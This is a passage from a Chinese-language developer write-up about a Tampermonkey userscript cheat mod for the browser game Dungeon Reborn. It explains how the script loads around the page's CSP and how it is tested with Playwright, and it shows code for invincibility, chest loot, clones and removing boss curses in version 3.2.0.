style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">().</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">getAttribute</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"data-dr-run"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "page-ok"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">I</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">await</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> new</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Promise</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">R</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =></span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> setTimeout</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">R</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">25</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">));</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">Root</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">().</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">getAttribute</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"data-dr-run"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">===</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "page-ok"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { Mode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "page"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            } </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">else</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> return</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        } </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">catch</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Err) { console.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">warn</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"[DUNGEON REBORN 外掛 v3] GM_addElement 無法執行"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Err); }</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">        // 頁面那份可能晚到：先把標記改掉，晚到的那份會在 Guard 停下</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">        Root</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">().</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">setAttribute</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"data-dr-run"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"sandbox"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    try</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        new</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Text)();</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        Mode </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "sandbox"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        return</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    } </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">catch</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Err) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Err </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">instanceof</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757"> EvalError</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) { console.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">warn</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"[DUNGEON REBORN 外掛 v3] 沙盒也不允許 eval"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, Err); </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> false</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        throw</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Err;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">}</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/4aac4ce/DungeonRebornMod.user%2Ejs#L608-L636">在 SiaoHub 檢視 siao/dungeon-reborn-mod/DungeonRebornMod.user.js L608-636</a></p>
<ul>
<li><strong><code>GM_addElement</code></strong>：Tampermonkey 用擴充功能權限插入 <code>&#x3C;script></code>，不受頁面 CSP 限制。遊戲和外掛都跑在頁面裡，Console 也摸得到 <code>G</code>。在我的 Chrome 上走的就是這條路。</li>
<li><strong>Tampermonkey 沙盒</strong>：萬一 <code>GM_addElement</code> 沒有執行，改在沙盒裡用 <code>new Function</code> 跑。沙盒用的是擴充功能自己的 CSP，允許 <code>eval</code>；外掛本體也放到同一邊，才拿得到匯出的存取子。</li>
<li><strong>原版遊戲</strong>：兩邊都不行，就載入同源的 <code>game.js</code>。CSP 的 <code>script-src 'self'</code> 允許它，至少遊戲一定能玩。</li>
</ul>
<p>為了不讓遊戲跑兩次，<code>&#x3C;html></code> 上放一個 <code>data-dr-run</code> 標記，頁面和沙盒都看得到。插進頁面的程式第一行會檢查它，晚到的那份會直接停下。</p>
<h3 id="4-測試" class="phrased">4. 測試</h3>
<p>3.0.0 的測試是用 Playwright 的 <code>addInitScript</code> 直接執行外掛。它比 parser 還早，CSP 根本還沒套用，所以 15 項全過，卻沒測出這個問題。</p>
<p>現在的 <code>test/live.mjs</code> 改成模擬真正的 Tampermonkey：外掛要等 CSP meta 被解析之後才執行；<code>GM_addElement</code> 用 DevTools 協定在頁面裡執行，等同擴充功能權限。另外也會檢查測試時 CSP 確實有生效，不然測試本身就沒有意義。用新測試跑 3.0.0 會失敗（<code>G is not defined</code>），跟實際狀況一樣；3.1.0 全部通過：</p>
<table tabindex="0">
<thead>
<tr>
<th>項目</th>
<th>結果</th>
</tr>
</thead>
<tbody>
<tr>
<td>測試環境的 CSP</td>
<td>有生效</td>
</tr>
<tr>
<td>遊戲與外掛</td>
<td>在頁面執行</td>
</tr>
<tr>
<td>換掉的 6 個函式（<code>hurtPlayer</code>、<code>gainExp</code>、<code>playerSpeed</code>、<code>cooldownNow</code>、<code>togglePause</code>、<code>updateGame</code>）</td>
<td>全部是外掛的版本</td>
</tr>
<tr>
<td>無敵、經驗 ×10、移速 ×3、防止暫停</td>
<td>有效</td>
</tr>
<tr>
<td>遊戲加速 ×3</td>
<td>實測 2.95 倍</td>
</tr>
<tr>
<td>角色等級、武器等級、技能等級、終極技能</td>
<td>有效</td>
</tr>
<tr>
<td>刷怪、刷王、清怪</td>
<td>有效</td>
</tr>
<tr>
<td>下一波</td>
<td>+1，而且不會連跳</td>
</tr>
</tbody>
</table>
<p>3.1.0 也在真正的 Tampermonkey（Chrome）裡實測過：可以選角色、進入地城，打開無敵後吃 999 傷害，血量維持 140/140。</p>
<h3 id="5-3-2-0-補上作者後來加的機制" class="phrased">5. 3.2.0：<wbr>補上<wbr>作者<wbr>後來<wbr>加的<wbr>機制</h3>
<p>v2.5 寫的時候，遊戲還沒有寶箱、分身和 Boss 詛咒。3.2.0 讀還原碼補上這些，同時把面板整理過。</p>
<p><strong>無敵其實有洞。</strong> v2.5 的無敵只攔 <code>hurtPlayer</code>。Boss 的劇毒詛咒每秒直接扣 <code>player.hp</code>（最多扣到 1），時限到了更直接把 hp 設成 0，兩條路都不經過 <code>hurtPlayer</code>。開著無敵打 Boss，照樣會被毒死。現在 <code>die</code> 也攔下來，每一幀結束後再把少掉的血補回去：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 劇毒詛咒直接扣 hp、時限到直接把 hp 設成 0，不經過 hurtPlayer，所以無敵還要擋 die</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">Has</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"die"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">)) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> OrigDie</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> window.die;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        window.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">die</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> function</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> () {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Game</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> Run</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.God </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game) {</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                Game.player.hp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.player.maxHp;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                Game.deathNote </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> ""</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            }</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> OrigDie.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">apply</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">this</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">arguments</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        };</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/62d5bc5/src/mod-core.js#L74-L86">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L74-86</a></p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">            P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.dmgMult </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Nat.Dmg;</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">            P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.pickupMult </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Nat.Pickup;</span></span>
<span data-line=""><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">            P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.crit </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Nat.Crit;</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">            // 劇毒詛咒直接扣 hp (最多扣到 1，不會觸發 die)，無敵時把這一幀少掉的血補回來</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.God </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.hp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Nat.Hp) </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.hp </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Nat.Hp;</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">            // 時限在原版 updateArena 裡扣，所以這一幀結束後再補滿</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.BossNoCurse </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x26;&#x26;</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.fight) Game.fight.timeLeft </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.fight.limit;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/62d5bc5/src/mod-core.js#L280-L287">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L280-287</a></p>
<p><strong>寶箱。</strong> 場上每 28～42 秒出現一個，最多 2 個，走過去就打開。掉落有四種，權重寫在 <code>CHEST_LOOT</code>：塔盾（20 秒免疫，權重 20）、古老金幣（吸全場經驗，25）、肉塊（回 40% 生命，35）、騎士頭盔（召喚 2 個分身 20 秒，20）。外掛換掉 <code>rollLoot</code> 來指定掉落，在 <code>updateGame</code> 前面加快 <code>chestTimer</code>；原版場上滿 2 個就不刷，上限調高時由外掛自己呼叫 <code>spawnChest</code> 補。</p>
<p><strong>分身。</strong> 騎士頭盔召喚的藍色分身，站位角度是 <code>anim × 0.9 + k × π</code>，原版只有 <code>k</code> = 0 和 1 兩個。<code>k</code> 只用在站位，繪製時沒有用到，所以取 <code>k = 2i / N</code> 就能讓 N 個分身平均繞著玩家：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // ---------- 分身 ----------</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">    // 原版固定 2 個，站位角度是 anim*0.9 + k*π；k 取 2i/N 就能讓 N 個分身平均繞著玩家</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> ResizeClones</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">Game</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">N</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> P</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.player;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Old</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.clones;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">!</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Old.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Old.</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">length</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> ===</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> N</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">return</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Tpl</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Old[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">];</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        Game.clones </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> [];</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">let</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> I</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">I</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> &#x3C;</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> N</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">; </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">I</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">++</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Prev</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Old[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">I</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">];</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            Game.clones.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">push</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(Object.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">assign</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">({}, Tpl, Prev </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">||</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> {</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                x: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.x, y: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">P</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">.y, attacking: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">false</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, hitDone: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">true</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, attackTime: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, cd: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0.1</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Math.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">random</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">() </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0.4</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            }, { k: </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">2</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> I</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> /</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> N</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> }));</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">        }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">    }</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/dungeon-reborn-mod/blob/62d5bc5/src/mod-core.js#L192-L206">在 SiaoHub 檢視 siao/dungeon-reborn-mod/src/mod-core.js L192-206</a></p>
<p>分身的攻擊走 <code>rollDamage</code>，本來就吃傷害倍率；冷卻是 <code>max(0.45, cooldownNow() × 1.1)</code>，有 0.45 秒的下限，攻速倍率要另外每幀扣它的 <code>cd</code>。</p>
<p><strong>Boss 詛咒。</strong> 每次 Boss 從劇毒、混亂（移動方向反轉）、分裂三種裡抽 1 個，第 4 隻起抽 2 個。劇毒與混亂都是讀 <code>G.fight</code> 上的旗標，每一幀把旗標關掉、時限補滿就失效了。分裂是 Boss 本身的行為，沒有動。</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">        // Boss 詛咒。開無敵時時限停在 5 秒，不然時限到了 die 會每幀被叫一次</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> Fight</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Game.fight;</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">        if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Fight) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (Cfg.BossNoCurse) {</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                Fight.poison </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> false</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                Fight.confuse </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> false</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">            }</span></span>
